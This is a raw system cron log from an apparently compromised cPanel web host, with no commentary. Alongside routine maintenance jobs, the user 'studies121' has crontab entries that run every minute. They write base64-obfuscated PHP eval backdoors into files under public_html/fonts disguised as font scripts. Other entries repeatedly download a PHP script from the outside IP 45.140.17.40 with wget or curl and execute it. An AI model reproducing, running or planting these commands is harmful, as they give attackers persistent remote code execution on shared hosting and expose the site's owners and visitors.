Feb 22 22:45:01 ip-184-168-122-23 CROND[31057]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Feb 22 22:45:01 ip-184-168-122-23 CROND[31056]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 22:45:01 ip-184-168-122-23 CROND[31055]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Feb 22 22:46:01 ip-184-168-122-23 CROND[31386]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 22:46:01 ip-184-168-122-23 CROND[31388]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 22:46:01 ip-184-168-122-23 CROND[31390]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Feb 22 22:46:01 ip-184-168-122-23 CROND[31392]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 22:46:01 ip-184-168-122-23 CROND[31393]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 22:46:01 ip-184-168-122-23 CROND[31391]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Feb 22 22:47:01 ip-184-168-122-23 CROND[31688]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 22:47:01 ip-184-168-122-23 CROND[31690]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 22:47:01 ip-184-168-122-23 CROND[31692]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 22:47:01 ip-184-168-122-23 CROND[31691]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 22:48:01 ip-184-168-122-23 CROND[31991]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Feb 22 22:48:01 ip-184-168-122-23 CROND[31993]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 22:48:01 ip-184-168-122-23 CROND[31995]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 22:48:01 ip-184-168-122-23 CROND[31994]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 22:48:01 ip-184-168-122-23 CROND[31996]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 22:49:01 ip-184-168-122-23 CROND[32311]: (root) CMD (/usr/local/cpanel/bin/autossl_check --all)
Feb 22 22:49:01 ip-184-168-122-23 CROND[32312]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 22:49:01 ip-184-168-122-23 CROND[32313]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 22:49:01 ip-184-168-122-23 CROND[32314]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 22:49:01 ip-184-168-122-23 CROND[32316]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 22:50:01 ip-184-168-122-23 CROND[32646]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Feb 22 22:50:01 ip-184-168-122-23 CROND[32647]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Feb 22 22:50:01 ip-184-168-122-23 CROND[32655]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Feb 22 22:50:01 ip-184-168-122-23 CROND[32652]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 22:50:01 ip-184-168-122-23 CROND[32654]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 22:50:01 ip-184-168-122-23 CROND[32648]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Feb 22 22:50:01 ip-184-168-122-23 CROND[32653]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 22:50:01 ip-184-168-122-23 CROND[32650]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Feb 22 22:50:01 ip-184-168-122-23 CROND[32651]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 22:51:01 ip-184-168-122-23 CROND[647]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 22:51:01 ip-184-168-122-23 CROND[649]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 22:51:01 ip-184-168-122-23 CROND[651]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 22:51:01 ip-184-168-122-23 CROND[652]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 22:52:01 ip-184-168-122-23 CROND[976]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 22:52:01 ip-184-168-122-23 CROND[978]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 22:52:01 ip-184-168-122-23 CROND[982]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 22:52:01 ip-184-168-122-23 CROND[981]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 22:52:01 ip-184-168-122-23 CROND[980]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Feb 22 22:53:01 ip-184-168-122-23 CROND[1314]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 22:53:01 ip-184-168-122-23 CROND[1317]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 22:53:01 ip-184-168-122-23 CROND[1318]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 22:53:01 ip-184-168-122-23 CROND[1316]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 22:54:01 ip-184-168-122-23 CROND[1626]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Feb 22 22:54:01 ip-184-168-122-23 CROND[1625]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 22:54:01 ip-184-168-122-23 CROND[1630]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 22:54:01 ip-184-168-122-23 CROND[1631]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 22:54:01 ip-184-168-122-23 CROND[1629]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 22:55:01 ip-184-168-122-23 CROND[1979]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 22:55:01 ip-184-168-122-23 CROND[1983]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Feb 22 22:55:01 ip-184-168-122-23 CROND[1985]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 22:55:01 ip-184-168-122-23 CROND[1982]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 22:55:01 ip-184-168-122-23 CROND[1987]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Feb 22 22:55:01 ip-184-168-122-23 CROND[1989]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 22:56:01 ip-184-168-122-23 CROND[2345]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 22:56:01 ip-184-168-122-23 CROND[2349]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 22:56:01 ip-184-168-122-23 CROND[2348]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 22:56:01 ip-184-168-122-23 CROND[2347]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Feb 22 22:56:01 ip-184-168-122-23 CROND[2350]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 22:57:01 ip-184-168-122-23 CROND[2741]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 22:57:01 ip-184-168-122-23 CROND[2743]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 22:57:01 ip-184-168-122-23 CROND[2742]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 22:57:01 ip-184-168-122-23 CROND[2744]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 22:58:01 ip-184-168-122-23 CROND[3064]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
